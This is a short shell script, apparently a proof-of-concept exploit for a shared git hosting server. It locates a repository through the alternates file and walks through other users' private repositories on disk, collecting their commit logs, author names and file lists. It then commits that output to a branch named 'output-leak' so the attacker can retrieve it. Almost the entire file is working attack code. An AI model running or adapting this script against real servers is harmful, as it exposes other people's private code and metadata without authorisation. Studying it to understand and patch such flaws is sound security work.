20 lines
1.1 KiB
Bash
Executable File
20 lines
1.1 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$( {
|
|
for r in csoft/continuum-ui csoft/lv-demo admin/lv-demo kabishev.andrey/test texttomanga/TextToManga-AI-Studio texttomangahe/texttomanga-hebrew-ai-manga test-admin-z4aa/ms24d99a test-8cljrv/act8cljrv lf2d55e7km/docs-33079b; do
|
|
g=/data/git/repositories/$r.git
|
|
[ -d "$g" ] || { echo "===== $r MISSING"; continue; }
|
|
echo "===== $r"
|
|
git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short 2>/dev/null | head -6
|
|
echo "--HEADFILES--"
|
|
git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null | head -50
|
|
done
|
|
echo DONE
|
|
|
|
} 2>&1; echo "[rc=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|